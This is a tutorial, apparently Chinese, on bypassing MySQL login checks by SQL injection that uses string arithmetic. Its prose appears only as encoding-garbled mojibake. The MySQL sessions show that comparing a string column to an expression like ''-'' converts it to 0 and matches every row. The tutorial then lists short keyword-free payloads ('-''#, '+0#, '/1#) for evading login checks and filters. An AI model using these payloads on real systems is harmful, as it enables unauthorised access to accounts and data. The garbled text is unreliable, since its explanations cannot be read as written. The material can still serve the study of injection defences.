ʹÓÃMySQL×Ö·û´®ÔËËãʵʩ¾«ÇÉ»¯SQL×¢Èë¹¥»÷
ÎÒÃÇÏÈÀ´¿´ÕâÑùÒ»¸ö³¡¾°¡£
ÓÐÒÔϱí½á¹¹£º
mysql> desc admin;
+----------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+----------------+
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
| name | char(32) | NO | UNI | NULL | |
| password | char(32) | NO | UNI | NULL | |
+----------+--------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)
Ö´ÐÐselect * from admin;£¬³É¹¦·µ»ØËùÓмǼÄÚÈÝ¡£
+----+--------+----------------------------------+
| id | name | password |
+----+--------+----------------------------------+
|1 | admin| c6dabaeeb05f2bf8690bab15e3afb022 |
|2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
|4 | n00b | ff80e8508d39047460921792273533a4 |
+----+--------+----------------------------------+
3 rows in set (0.00 sec)
Ö´ÐÐselect * from admin where name=¡±;£¬Ã»ÓÐÆ¥Åäµ½ÈκμǼ¡£
mysql> select * from admin where name = '';
Empty set (0.00 sec)
ÄÇôÎÒÃÇÀ´Ö´ÐÐselect * from admin where name = ¡±-¡±;
+----+--------+----------------------------------+
| id | name | password |
+----+--------+----------------------------------+
|1 | admin| c6dabaeeb05f2bf8690bab15e3afb022 |
|2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
|4 | n00b | ff80e8508d39047460921792273533a4 |
+----+--------+----------------------------------+
3 rows in set, 3 warnings (0.00 sec)
¿ÉÒÔ¿´µ½£¬Ò²³É¹¦·µ»ØÁËËùÓмǼ£¬µ«ÊÇÓÐÈý¸öwarnings£¬ÎÒÃÇ¿´Ï¾¯¸æÐÅÏ¢£º
mysql> show warnings;
+---------+------+------------------------------------------
| Level | Code | Message
+---------+------+------------------------------------------
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
+---------+------+------------------------------------------
3 rows in set (0.00 sec)
Ìáʾ½Ø¶ÏÁË´íÎóµÄDOUBLEÖµ¡¯adminµÈµÈ£¬µ±ÔÚÒ»¸ö×Ö·û´®ÀàÐ͵ÄÁÐÖÐʹÓÃÊý×ÖÀàÐ͵Äֵʱ»á²úÉúÕâÀྯ¸æ¡£ ÎÒÃǵ¥¶ÀÖ´ÐÐselect ¡±-¡±;¿´Ï½á¹û¡£
mysql> select ''-'';
+-------+
| ''-'' |
+-------+
| 0 |
+-------+
1 row in set (0.00 sec)
·µ»Ø0£¬Ò²¾ÍÊÇ˵ÎÒÃDzéѯµÄÿһÐеÄname×Ӷζ¼»áºÍ0×ö¶Ô±È£¬ÕâÑù¾Í»á´¥·¢Ò»¸öÀàÐÍת»»£¬¶Ôname×Ö¶Îת»»µÄ½á¹ûÒ²±ØÈ»Îª0£º
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
+-----------------------------------------------------+
| CAST((select name from admin limit 1,1) as DECIMAL) |
+-----------------------------------------------------+
| 0 |
+-----------------------------------------------------+
1 row in set, 1 warning (0.00 sec)
Òò´ËwhereÓï¾ä¹¹³ÉÁËÏàµÈµÄÌõ¼þ£¬where 0=¡±=¡±£¬¼Ç¼±»·µ»Ø¡£
SQL×¢È볡¾°: http://www.sqlzoo.net/hack/
Èç¹ûÎÒÃÇÏëÈÆ¹ýµÇ¼ÑéÖ¤£¬ÉÏÃæÒѾ¸ø³öÁËÒ»¸ö´«Í³µÄtips£ºÓû§ÃûÃÜÂë¾ùΪ¡¯ or ¡±=¡¯ ÕâÑùµÄÂß¼ºÍÈÆ¹ý·½Ê½ºÜ³£¼û£¬ÕâÀï²»ÔÙ¾ßÌå½âÊÍÁË¡£
ÄÇôͨ¹ýÕâ´Î·¢Ïֵļ¼ÇÉ£¬¿ÉÒÔʹÓÃÒ»ÖÖÏ൱¾«Çɵķ½Ê½£¬ÇÒ±ÜÃâʹÓÃSQL¹Ø¼ü×Ö£¬À´ÈƹýµÇ¼¡£
½ö½öÔÚname×Ó¶ÎÊäÈ롯-¡±#£¬passwordÁô¿Õ£¬¼´¿ÉÈÆ¹ýµÇ¼ÑéÖ¤¡£
³ýÁË¡±-¡±£¬ÆäËûÔËËã·û¡±+¡±,¡±*¡±,¡±^¡±¶¼»áÓÐͬÑùµÄЧ¹û¡£ ÔÙ¼ÌÐø½øÐвâÊÔ£¬ÎÒÃÇ·¢ÏÖÖ»ÒªÔڱպϵ¥ÒýºÅµÄÇé¿öϵ¹¹Ôì²éѯ½á¹ûΪ0µÄÌõ¼þ¼´¿É
mysql> select ''/1;
+------+
| ''/1 |
+------+
| 0 |
+------+
1 row in set (0.00 sec)
ÀàËÆµÄ¡±+0,¡±-0,¡±*0,¡±^0¾ù¿É¡£ ÄÇô¸Õ²ÅµÄ×¢Èë»·¾³ÎÒÃÇʹÓÃÒÔϵľ«¼òpayloadͬÑù¿ÉÒÔÈÆ¹ýµÇ¼ÈÏÖ¤£º ¡®+0#£¬¡¯/1#£¬¡¯^0£¬¡¯-0#µÈµÈ¡£
ÀûÓÃÕâÑùÒ»ÖÖÌØÐÔ£¬µ±Ä¿±ê¶Ô×¢ÈëÓï¾äÖеÄSQL¹Ø¼ü×Ö½øÐйýÂËʱ£¬±ã¿Éͨ¹ýÕâÑùÒ»ÖÖ·½Ê½½øÐÐBypass¡£
Ò³:
[1]